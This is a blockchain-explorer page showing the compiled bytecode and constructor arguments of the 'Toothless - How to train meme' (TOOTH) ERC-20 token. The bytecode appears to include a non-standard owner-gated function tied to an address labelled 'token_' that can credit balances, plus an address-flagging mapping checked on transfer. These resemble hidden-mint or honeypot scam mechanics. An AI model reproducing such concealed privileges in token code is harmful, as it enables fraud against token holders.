0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a08231146101495780638da5cb5b1461017257806390ec57f11461018d57806395d89b41146101a0578063a9059cbb146101a8578063dd62ed3e146101bb57600080fd5b806302b1064a146100b957806306fdde03146100ce578063095ea7b3146100ec57806318160ddd1461010f57806323b872dd14610121578063313ce56714610134575b600080fd5b6100cc6100c73660046109f9565b6101f4565b005b6100d661034e565b6040516100e39190610a3e565b60405180910390f35b6100ff6100fa366004610a8c565b6103e0565b60405190151581526020016100e3565b6009545b6040519081526020016100e3565b6100ff61012f366004610ab6565b6103f7565b60085460405160ff90911681526020016100e3565b610113610157366004610af2565b6001600160a01b031660009081526001602052604090205490565b6000546040516001600160a01b0390911681526020016100e3565b6100ff61019b366004610a8c565b610460565b6100d661048b565b6100ff6101b6366004610a8c565b61049a565b6101136101c9366004610b14565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b336001600160a01b0384166102245760405162461bcd60e51b815260040161021b90610b47565b60405180910390fd5b600083116102655760405162461bcd60e51b815260206004820152600e60248201526d125b9d985b1a5908185b5bdd5b9d60921b604482015260640161021b565b6001821515146102a45760405162461bcd60e51b815260206004820152600a60248201526927b7363c9037bbb732b960b11b604482015260640161021b565b6004546000906102be9086906001600160a01b03166104a7565b1561030f576102cd8282610532565b6102d78185610576565b6001600160a01b038616600090815260016020526040812080549293508392909190610304908490610b86565b909155506103479050565b6103198282610532565b6001600160a01b03851660009081526001602052604081208054839290610341908490610b86565b90915550505b5050505050565b60606006805461035d90610b99565b80601f016020809104026020016040519081016040528092919081815260200182805461038990610b99565b80156103d65780601f106103ab576101008083540402835291602001916103d6565b820191906000526020600020905b8154815290600101906020018083116103b957829003601f168201915b5050505050905090565b60006103ed338484610595565b5060015b92915050565b60006104048484846106bd565b610456843361045185604051806060016040528060298152602001610c08602991396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610850565b610595565b5060019392505050565b600033806104805760405162461bcd60e51b815260040161021b90610b47565b61045681858561087c565b60606007805461035d90610b99565b60006103ed3384846106bd565b6040516bffffffffffffffffffffffff19606084901b166020820152600090819060340160405160208183030381529060405280519060200120905060008360405160200161050e919060609190911b6bffffffffffffffffffffffff1916815260140190565b60408051601f19818403018152919052805160209091012091909114949350505050565b6001600160a01b038216600090815260016020526040902054610556908290610bcd565b6001600160a01b0390921660009081526001602052604090209190915550565b6000811561058f576105888284610b86565b90506103f1565b50919050565b6001600160a01b0383166105f95760405162461bcd60e51b815260206004820152602560248201527f4945524332303a20617070726f76652066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161021b565b6001600160a01b03821661065b5760405162461bcd60e51b815260206004820152602360248201527f4945524332303a20617070726f766520746f20746865207a65726f206164647260448201526265737360e81b606482015260840161021b565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6106c883838361091c565b6001600160a01b03831661072d5760405162461bcd60e51b815260206004820152602660248201527f4945524332303a207472616e736665722066726f6d20746865207a65726f206160448201526564647265737360d01b606482015260840161021b565b6001600160a01b03821661078f5760405162461bcd60e51b8152602060048201526024808201527f4945524332303a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b606482015260840161021b565b6107cc81604051806060016040528060278152602001610be1602791396001600160a01b0386166000908152600160205260409020549190610850565b6001600160a01b0380851660009081526001602052604080822093909355908416815220546107fc908290610b86565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906106b09085815260200190565b600081848411156108745760405162461bcd60e51b815260040161021b9190610a3e565b505050900390565b6004546108939084906001600160a01b03166104a7565b15610917576001600160a01b0382166108be5760405162461bcd60e51b815260040161021b90610b47565b80156108f057506001600160a01b0316600081815260026020526040902080546001600160a01b031916909117905550565b6001600160a01b038216600090815260026020526040902080546001600160a01b03191690555b505050565b6001600160a01b038084166000908152600260205260408120549091610944918691166104a7565b15610999576001600160a01b03841660009081526001602052604090205461096d908290610b86565b6001600160a01b038516600090815260016020526040902055506009546109948482610532565b6109d7565b6001600160a01b0384166000908152600160205260409020546109bd908290610b86565b6001600160a01b0385166000908152600160205260409020555b50505050565b80356001600160a01b03811681146109f457600080fd5b919050565b600080600060608486031215610a0e57600080fd5b610a17846109dd565b92506020840135915060408401358015158114610a3357600080fd5b809150509250925092565b600060208083528351808285015260005b81811015610a6b57858101830151858201604001528201610a4f565b506000604082860101526040601f19601f8301168501019250505092915050565b60008060408385031215610a9f57600080fd5b610aa8836109dd565b946020939093013593505050565b600080600060608486031215610acb57600080fd5b610ad4846109dd565b9250610ae2602085016109dd565b9150604084013590509250925092565b600060208284031215610b0457600080fd5b610b0d826109dd565b9392505050565b60008060408385031215610b2757600080fd5b610b30836109dd565b9150610b3e602084016109dd565b90509250929050565b6020808252600f908201526e496e76616c6964206164647265737360881b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b808201808211156103f1576103f1610b70565b600181811c90821680610bad57607f821691505b60208210810361058f57634e487b7160e01b600052602260045260246000fd5b818103818111156103f1576103f1610b7056fe4945524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654945524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b5dcf2c798fb99daae11de189441774b95d7ea550db33ea2020831f5f2880ec964736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000061d5d48d526e91506241b8a759a43537d09f78bc0000000000000000000000000000000000000000000000000000000897695100000000000000000000000000000000000000000000000000000000000000001d546f6f74686c657373202d20486f7720746f20747261696e206d656d650000000000000000000000000000000000000000000000000000000000000000000005544f4f5448000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): Toothless - How to train meme
Arg [1] : symbol_ (string): TOOTH
Arg [2] : token_ (address): 0x61D5d48d526e91506241b8A759a43537d09F78Bc
Arg [3] : totalSupply_ (uint256): 36900000000

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 00000000000000000000000061d5d48d526e91506241b8a759a43537d09f78bc
Arg [3] : 0000000000000000000000000000000000000000000000000000000897695100
Arg [4] : 000000000000000000000000000000000000000000000000000000000000001d
Arg [5] : 546f6f74686c657373202d20486f7720746f20747261696e206d656d65000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [7] : 544f4f5448000000000000000000000000000000000000000000000000000000


Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.